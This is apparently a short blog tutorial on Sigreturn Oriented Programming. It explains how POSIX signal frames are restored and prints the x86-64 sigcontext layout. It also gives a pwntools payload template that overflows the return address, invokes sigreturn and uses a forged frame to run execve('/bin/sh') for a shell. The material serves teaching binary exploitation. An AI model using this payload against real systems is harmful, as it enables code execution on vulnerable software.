Post

Sigreturn Oriented Programming

Sigreturn Oriented Programming

Sigreturn Oriented Programming.

SROP (Sigreturn Oriented Programming) is binary exploitation technique that leverages the signal handling mechanisms in POSIX systems to gain control over CPU registers. This is achieved by crafting a fake signal frame on the stack and then invoking the sigreturn system call.

The signal handling mechanism

SROP exploits the process used by POSIX systems to handle signals. This process works as follows:

  1. When a signal occurs, context switch is performed.
  2. The context switch saves the current state of execution by pushing all CPU registers and additional data onto the stack.
  3. Once the signal has been handled, the sigreturn system call is invoked, which restores the CPU register values from the data saved on the stack.

Here are the structures involved:

  • struct sigcontext
    • This structure is a component of the sigframe. It stores the values of the CPU registers and their flag.
    • The structure definition and layout depend on specific architecture and operating system.

on x86-64, the structure contains:

1
2
3
4
5
6
7
8
9
struct sigcontext {
    uint64_t r8, r9, r10, r11, r12, r13, r14, r15;
    uint64_t rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp;
    uint64_t rip, eflags;
    uint16_t cs, gs, fs;
    uint64_t err, trapno, oldmask, cr2;
    void *fpstate;
    uint64_t reserved[8];
};

Exploitation

SROP involves two main stages once you have control of the return address

  1. Triggering the sigreturn system call.
  2. Providing a fake signal frame.

Payload example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# stage1 trigger the sigreturn syscall
stage1 = flat(
	cyclic(offset_to_rip), # padding to return addres
	pop_rax, # pop rax; ret 
	0xf, # sigreturn number in x64 or 0x77 for x86
	syscall, # syscall gadget
)
# stage to fake signal frame
# pwntools makes it easy to setup the signal frame
stage2 = SigreturnFrame()
stage2.rax = 59 # for execve
stage2.rdi = binsh # address of "/bin/sh"
stage2.rsi = 0
stage2.rdx = 0
stage2.rip = syscall # syscall gadget

payload = flat(
	stage1,
	stage2
)

The above payload will get you a shell.

When to use SROP

  • When you have limited gadgets.
  • Can control stack. (Buffer overflow)
  • When you have pop rax and syscall gadgets
  • Need to set up multiple registers
This post is licensed under CC BY 4.0 by the author.